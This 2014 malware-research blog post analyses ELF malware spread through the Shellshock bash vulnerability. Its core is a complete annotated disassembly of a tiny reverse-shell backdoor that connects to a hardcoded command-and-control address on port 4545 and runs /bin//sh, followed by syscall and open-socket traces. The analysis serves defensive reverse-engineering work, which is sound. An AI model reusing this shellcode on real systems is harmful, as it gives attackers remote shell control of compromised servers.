Friday, September 26, 2014

MMD-0027-2014 - Linux/Bashdoor(GafGyt) & Small ELF Backdoor at shellshock

Background: CVE-2014-6271 + CVE-2014-7169

During the mayhem of bash 0day remote execution vulnerability CVE-2014-6271 and CVE-2014-7169, I happened to be the first who reversed for the first ELF malware spotted used in the wild. The rough disassembly analysis and summary I wrote and posted in Virus Total & Kernel Mode here as proof, it's known now as bashlite, I was calling this Linux/bashdoor, to then knowing the real malware name as Lizard Kebab (LizKebab) aka Torlus aka GafGyt aka Qbot, see the date as PoC--> [-1-] [-2-] < Noted: thanks to Yinettesys (credit) (the credit is all for her for links to find this malware, for the swift sensoring & alert, and thanks for analysis request, we won't aware of these that fast w/o her).

Some antivirus is naming this malware after as Bashlite.

But..the fun has only just begun.. The story of a small (152bytes) ELF backdoor

Yes. Today I was informed there is another payload distributed,:

Which leads to this malicious ELF file served online:

Do the pure reversing..

This ELF "malware" is very small, 152 bytes, and is working simple and straight to the point, it aims vulnerable bash for RCE on Intel servers in IDCs, it opens socket to remote host on a certain TCP/port while parsing the received data (via socket) to the "/bin//sh" upon connected, yes, it is a remote shell backdoor, or known as term backconnect, small because obviously was coded with ASM & and compiled ala shellcode built in GCC that often used for exploitation purpose.

For your conveniences, I wrote my disassembly & reversing scratch of all malware bits below in comments, for all of us to see how this malicious code works to mitigate this in the future:

0x08048054 | 31db       | xor ebx, ebx     ; nulling ebx by xor
0x08048056 | f7e3       | mul ebx          ; nulling ebx by mul
0x08048058 | 53         | push ebx         ; push 0 to stack ; from ebx=0x0 (nulled) < IPPROTO_IP
0x08048059 | 43         | inc ebx          ; ebx = 0x1 ; socketcall number 1 = sys_socket
0x0804805a | 53         | push ebx         ; push 1 to stack < AF_INET
0x0804805b | 6a02       | push 0x2         ; push 2 to stack < SOCK_STREAM
0x0804805d | 89e1       | mov ecx, esp     ; set pointer to arguments array
0x0804805f | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x08048061 | cd80       | int 0x80         ; Svc_0; sys_socketcall ; sys_socket
0x08048063 | 93         | xchg ebx, eax    ; socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
0x08048064 | 59         | pop ecx          
0x08048065 | b03f       | mov al, 0x3f     ; syscall number 0x3f sys_dup2
0x08048067 | cd80       | int 0x80         ; Svc_0 ; sys_dup2
0x08048069 | 49         | dec ecx          ; counter for dup loop, 3 to 0 ; to null the socket() register result, reconnecting by duplicating the call
0x0804806a | 79f9       | jns 0x108048065  ; GOTO loop_to_clear_dup_result_to_zero:
0x0804806c | 681b139fe0 | push 0xe09f131b  ; backward: 1B139FE0 = < c2_struct.sin_addr
0x08048071 | 68020011c1 | push 0xc1110002  ; 0x11c1 = 4545 < sin_port ; 0x02 = 2 < c2_struct.sa_family=AF_INET
0x08048076 | 89e1       | mov ecx, esp     ; set pointer for *c2_struct
                                            {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("")}
0x08048078 | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x0804807a | 50         | push eax         ; push al=0x66 to stack (to invoke sys_connect)
0x0804807b | 51         | push ecx         ; push *c2_struct pointer (hold by ecx)
0x0804807c | 53         | push ebx         ; push *socketfd pointer to stack (hold by ebx)
0x0804807d | b303       | mov bl, 0x3      ; socketcall number = 3 ; sys_connect
0x0804807f | 89e1       | mov ecx, esp     ; set pointer to args array (for sys_connect)
0x08048081 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_connect
0x08048083 | 52         | push edx         ; push null (for string termination)
0x08048084 | 682f2f7368 | push 0x68732f2f  ; push string 'hs//' (backward) to stack
0x08048089 | 682f62696e | push 0x6e69622f  ; push string 'nib/' to stack
0x0804808e | 89e3       | mov ebx, esp     ; set pointer addr of "/bin//sh" into ebx from esp
0x08048090 | 52         | push edx         ; push null (for string termination)
0x08048091 | 53         | push ebx         ; push stack up
0x08048092 | 89e1       | mov ecx, esp     ; set pointer to arg (array of strings fron sys_connect) => exev_arg
0x08048094 | b00b       | mov al, 0xb      ; syscall number 0x0b sys_execve
0x08048096 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_execve("/bin//sh", ["/bin//sh", exec_arg],[NULL])
;(c) reverse engineering original work of @unixfreaxjp, posted first in

↑this is all to find out it back-connects to ip in port 4545 & to execute sent argument by execution in shell via "/bin//sh" from that host in the designated IP address. I think I saw this a lot as in shellcode, was used in about a lot in incidents between 2010 to 2012..

Just in case you want to see how I reversed it, here's the cool tool to breakdown the opcode: (guess.. what tool is it?? *smile)

To confirm the the reversing ones can emulate its operation to have the result as per below, this is how the forensics will appear in system call level:

dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("")

As per coded above, the sys_dup2 syscall has been executed 3 times on a loop for counting down the socket's result or socketfd in my assembly comment code (or sockfd) to zero. The rest it is obvious and self-explanatory as per written above.

So now reversing is confirmed, but we still want to know more how this works, but stillthere is too few artifacts to seek, so the next step is to find more forensics artifacts, by simulating what will happen if this malicious ELF is executed in the list of files form..

fu4k   12467   mmd    0u     IPv4       243888042   0t0    TCP mmd:33787-> (SYN_SENT)
fu4k   12467   mmd    1u     IPv4       243888042   0t0    TCP mmd:33787-> (SYN_SENT)
fu4k   12467   mmd    2u     IPv4       243888042   0t0    TCP mmd:33787-> (SYN_SENT)
fu4k   12467   mmd    3u     unix 0xffff88018aad94c0   0t0 243884464 socket
fu4k   12467   mmd    4u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    5u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    6r     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    7w     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    8u     IPv4       243888042   0t0    TCP mmd:33787-> (SYN_SENT)

We can see that in a process under one workspace in the memory, the connection via socket was duplicated three times to (re-)connect to the remote IP, instead of a single attempt, so we have like 4 (four) attempt to reconnect. It is a small nasty thing isn't it?

So now we all know clearly how this backconnect scheme is actually working and not guessing anything.

For OSINT. This is the CNC IP source:

IP: ""
ASN: "4134"
CIDR: ""
Contry: "CN"

Detection ratio

As always for a new ELF malware found.. AV detection was ZERO (FUD/FullyUnDetected):

Sample is (always) shared

I am sharing the sample in virustotal [link], and was sharing this to the kernelmode site as new malware with name "Linux/binsh".


So we have "another" crook start playing with ELF hacks for spying purpose on shellshock too :-)

Thank you

Thank you to IT media article who directly mentioned and linked to us:

Thank you to the IT media article who mentioned our work:

Thank you for blog and commments links:

Stay safe..there will be more of these.. #MalwareMustDie!